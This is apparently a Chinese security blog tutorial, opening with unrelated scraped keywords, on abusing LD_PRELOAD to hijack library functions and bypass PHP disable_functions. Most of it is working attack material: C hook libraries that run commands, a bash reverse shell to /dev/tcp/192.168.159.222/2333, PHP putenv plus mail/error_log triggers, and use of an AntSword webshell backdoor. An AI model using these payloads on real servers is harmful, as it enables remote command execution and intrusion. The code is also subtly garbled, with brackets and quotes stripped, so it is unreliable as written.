网站后台做图片尺寸是多大,注销公司需要多少钱,做网站需要什么书,企业网址查询入口目录
LD_PRELOAD 简介
程序的链接
动态链接库的搜索路径搜索的先后顺序#xff1a;
利用LD_PRELOAD
简单的劫持
执行id命令
反弹shell
引申至 PHP
绕过disable_function
方法1#xff1a;使用蚁剑的扩展工具绕过disable_function
方法2#xff1a;利用 mail 函数…目录
LD_PRELOAD 简介
程序的链接
动态链接库的搜索路径搜索的先后顺序
利用LD_PRELOAD
简单的劫持
执行id命令
反弹shell
引申至 PHP
绕过disable_function
方法1使用蚁剑的扩展工具绕过disable_function
方法2利用 mail 函数启动新进程
方法3利用 error_log 函数启动新进程
方法4劫持系统新进程 LD_PRELOAD 简介 LD_PRELOAD是Linux/Unix系统的一个环境变量它影响程序的运行时的链接Runtime linker它允许在程序运行前定义优先加载的动态链接库。 这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。 通过这个环境变量我们可以在主程序和其动态链接库的中间加载别的动态链接库甚至覆盖正常的函数库。 通过上述对 LD_PRELOAD 的功能的描述我们可以想到既然能够覆盖正常的函数库那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序来实现我们的目的呢
程序的链接
程序的链接可以分为以下三种 静态链接在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序之后不再拆开。 装入时动态链接源程序编译后所得到的一组目标模块在装入内存时边装入边链接。 运行时动态链接原程序编译后得到的目标模块在程序执行过程中需要用到时才对它进行链接。
静态链接库在Linux下文件名后缀为.a如libstdc.a。在编译链接时直接将目标代码加入可执行程序。
动态链接库在Linux下是.so文件在编译链接时只需要记录需要链接的号运行程序时才会进行真正的“链接”所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库则只需要加载一份到内存中共享因此 动态链接库也称共享库 或者共享对象。
动态链接库的搜索路径搜索的先后顺序 编译目标代码时指定的动态库搜索路径可指定多个搜索路径按照先后顺序依次搜索 环境变量LD_LIBRARY_PATH指定的动态库搜索路径可指定多个搜索路径按照先后顺序依次搜索 配置文件/etc/ld.so.conf中指定的动态库搜索路径可指定多个搜索路径按照先后顺序依次搜索 默认的动态库搜索路径/lib 默认的动态库搜索路径/usr/lib
不过可以发现这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中反而出现了一个 LD_LIBRARY_PATH。
下面是对LD_PRELOAD和LDPRELOAD_PATH的对比介绍 LD_PRELOAD(not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( files ) 的列表无论程序是否需要。 LD_LIBRARY_PATH是在加载无论如何都会加载的库时要搜索的 目录列表。 可见这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外它可以指定在程序运行前优先加载的动态链接库
利用LD_PRELOAD
我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库进而实现我们在动态链接库中所写的恶意函数。
具体的操作步骤如下 定义一个函数函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。 将所写的 c 文件编译为动态链接库。 对 LD_PRELOAD 及逆行设置值为库文件路径接下来就可以实现对目标函数原功能的劫持了 结束攻击使用命令 unset LD_PRELOAD 即可
这个攻击方式可以用在任意语言之中我们这里用一个 C 语言的 demo 来进行一下测试。
这里我的实验环境是Ubuntu
简单的劫持
1首先编辑一个c文件 cat demo.c
#include stdio.h
#include string.hint main(int argc, char **argv) { char name[] mon; //定义了数组name[] 里面有“mon”if (argc 2) {printf(usage: %s given-name\n, argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf(\033[0;32;32mYour name Correct!\n\033[m);return 1;} else {printf(\033[0;32;31mYour name Wrong!\n\033[m);return 0;}
}
2然后使用gcc -o demo demo.c来编译
gcc -o demo demo.c 编译的结果 3可以试着运行一下这个编译后的文件 可以看到他需要传入一个参数那么我们就给他传入一个参数试试 可以看到这时的结果为Your name Wrong
4我们接下来写一个动态链接库目标函数为这里进行判断的 strcmp 函数
cat hook_strcmp.c
#include stdlib.h
#include string.h
int strcmp(const char *s1, const char *s2) { //这里吧系统提供给我们的函数劫持了让这个程序永远返回为假让上面的c语言代码中的if语句永远为假if (getenv(LD_PRELOAD) NULL) { return 0;}unsetenv(LD_PRELOAD);return 0;
}由于我们通过 LD_PRELOAD 劫持了函数劫持后启动了一个新进程若不在新进程启动前取消 LD_PRELOAD则将陷入无限循环所以必须得删除环境变量 LD_PRELOAD最直接的就是调用 unsetenv(LD_PRELOAD)。
5现在编译这个动态链接库
gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
6然后设置环境变量 export LD_PRELOAD$PWD/hook_strcmp.so
7现在我们可以再次尝试执行demo.c查看结果 可以看到现在我们无论传入什么值结果都会输出Your name Correct
此时我们已经使用LD_PRELOAD劫持了 demo.c 函数的动态链接库
在操作系统中命令行下的命令实际上是由一系列动态链接库驱动的在 linux 中我们可以使用readelf -Ws命令来查看同时系统命令存储的路径为/uer/bin
既然都是使用动态链接库那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢 那这里尝试使用使用LD_PRELOAD劫持ls在其动态链接库执行前执行id操作
执行id命令
1首选编写一个劫持文件hook_ls_strcmp.c
#include stdlib.h
#include stdio.h
#include string.hvoid payload() {system(id);
}int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);payload();
}2编译为动态链接库的形式 gcc -Wall -fPIC -shared -o hook_ls_strcmp.so hook_ls_strcmp.c
/usr/include/string.h: In function ‘strncmp’:
hook_ls_strcmp.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^注这里只是有一个警告不用官它
编译完成后的
设置环境变量 export LD_PRELOAD$PWD/hook_ls_strcmp.so
然后尝试使用ls命令 可以看到在正常的命令前我们劫持动态链接库插入的id命令在ls命令前执行了
既然已经调用了 id那么我们完全可以再利用这里的执行命令来反弹一个 shell
反弹shell
这里我使用192.168.159.223ununtu这台设备用做被反弹主机
新建一个.c后面用于链接库的文件
#include stdlib.h
#include stdio.h
#include string.hvoid payload() {system(bash -c bash -i /dev/tcp/192.168.159.222/2333 01);
}int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);payload();
}反弹主机用的是cetos的192.168.159.222主机
因为没有nc现在先安装一个nc
yum install nc
然后再192.168.159.222上使用nc监听着
nc -lvvp 2333
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
然后在ubuntu上编译这个nc文件
gcc -Wall -fPIC -shared -o hook_nc.so hook_nc.c
/usr/include/string.h: In function ‘strncmp’:
hook_nc.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^然后将该so文件设置到环境变量中
export LD_PRELOAD$PWD/hook_nc.so在centos上使用nc监听2333端口 最后在ubuntu这里使用ls命令 再看centos这里已经成功的反弹到ununtu的shell了 引申至 PHP
既然我们已经劫持了系统命令那么我们是不是就有办法在 web 环境中实现基于 LD_PRELOAD 的 RCE 呢
但是这里实际上是要仔细思考一下的。
我们需要一个 新的进程 的启动加之环境变量的操纵与文件上传和文件包含有时候我们已经拿到了 shell 但是因为disable_functions不能执行命令不能拿到想要的东西而我们利用 LD_PRELOAD 劫持进程之后的反弹 shell 就可以执行任意命令了这也就是我们常说的 绕过 disable_function。
绕过disable_function
这里的测试环境Nginx反向代理实现负载均衡webshell
1首先我们进入到对应环境中
/root/AntSword-Labs-master/bypass_disable_functions 然后可以看到有9个文件夹这里进入1中 2使用docker-compose拉取环境
docker-compose up -d这里可以查看一下容器是否运行 然后查看文件会发现这里已经有了一个现成的后门php文件
3尝试使用蚁剑连接一下 我们可以登录到容器中
docker exec -it 5ce1bb59245c /bin/bash
查看这个后门木马文件 我们可以在蚁剑中新建一个phpinfo.php文件用来查看php的配置 在浏览器中访问 在这里可以看到这里将所有可以进行命令执行的函数都禁用掉了因此这个webshell什么都干不了 我们可以在蚁剑中打开终端尝试一下 可以看到确实什么命令都无法执行
想要执行命令需要利用以下两个条件 第一 php需要启动一个新的进程 第二 控制环境变量 不过这里我们可以注意到一个点很关键我们需要启动一个新的进程并利用 LD_PRELOAD 劫持这个进程相关的链接库。
方法1使用蚁剑的扩展工具绕过disable_function
使用「绕过 disable_functions」插件, 选择 LD_PRELOAD 模式进行 注没有该插件可以到插件市场中安装一个
然后修改webshell 然后在到终端测试就会发现这里可以执行命令了 方法2利用 mail 函数启动新进程
我们可以先来看一下 mail 函数会调用什么动态链接库
1首先写一个 mail.php
?php
mail(alocalhost,,,,);
?2执行以下命令查看进程调用的系统函数明细
strace -f php mail.php 21 | grep -A2 -B2 execve 3然后我们编写劫持mail的c文件hook_getuid.c
#include stdlib.h
#include stdio.h
#include string.hvoid payload() {system(bash -c bash -i /dev/tcp/192.168.159.222/2333 01);
}uid_t getuid() {if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);payload();
}4编译
gcc -Wall -fPIC -shared -o hook_getuid.so hook_getuid.c
hook_getuid.c: In function ‘getuid’:
hook_getuid.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^5编译后我们可以利用 putenv 函数来实现链接库的设置
?php
putenv(LD_PRELOAD/var/www/html/hook_getuid.so); //注意这里需要有权限
mail(alocalhost,,,,);
?6现在centos上对2333端口进行监听 7 在ubuntu上执行mail.php文件 8然后就可以看到centos这里成功的反弹了ubuntu的shell 方法3利用 error_log 函数启动新进程
error_log 也存在发送信息的行为我们可以看到这里也是向邮箱中发送信息决定发送方式的是倒数第三个参数为 1 时为邮箱当然也有可以不存在的参数。 方法与mail的方法大致相同只需要将php文件修改为以下内容即可
?php
putenv(LD_PRELOAD/usr/share/nginx/html/hook_getuid.so);
error_log(,1,,);
?我们可以发现上面的情况实际上导致了我们的攻击面是非常窄小的我们在实际情况中很容易就会出现并没有安装 sendmail 的情况就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢下面这种方法就可以
方法4劫持系统新进程
设想这样一种思路利用漏洞控制 web 启动新进程 a.bin即便进程名无法让我随意指定a.bin 内部调用系统函数 b()b() 位于系统共享对象 c.so 中所以系统为该进程加载共 c.so我想法在 c.so 前优先加载可控的 c_evil.soc_evil.so 内含与 b() 同名的恶意函数由于 c_evil.so 优先级较高所以a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b()同时c_evil.so 可控达到执行恶意代码的目的。
基于这一思路将突破 disable_functions 限制执行操作系统命令这一目标大致分解成几步在本地推演
查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。
系统通过 LD_PRELOAD 预先加载共享对象如果能找到一个方式在加载时就执行代码而不用考虑劫持某一系统函数那么就完全可以不依赖 sendmail 了。
这里场景让人不禁联想到构造方法最后找到了在 GCC 中有一个 C 语言的扩展修饰符 __attribute__((constructor)) 这个修饰符可以让由它修饰的函数在 main() 之前执行如果它出现在我们的动态链接库中那么我们的动态链接库文件一旦被系统加载就将立即执行__attribute__((constructor)) 所修饰的函数。 这样就将我们的格局打开了我们要做的是劫持动态链接库这个共享对象本身而不是单独局限于劫持某几个函数。
以劫持 ls 为例我们之前所做的就是找到 ls 命令所调用的某一个动态链接库然后对其进行劫持但是我们在这里完全可以使用__attribute__((constructor)) 自动加载之后来直接对 ls 命令进行劫持
1我们新建一个global_hook.c文件
#include stdlib.h
#include stdio.h
#include string.h__attribute__ ((__constructor__)) void preload (void){unsetenv(LD_PRELOAD);system(id);
}
2编译
gcc -shared -fPIC global_hook.c -o global_hook.so3加载到环境变量
export LD_PRELOAD$PWD/global_hook.so4我们测试以下执行命令 可以看到这些有动态链接文件的命令在执行前都会执行id命令这种方式这是一种全局的劫持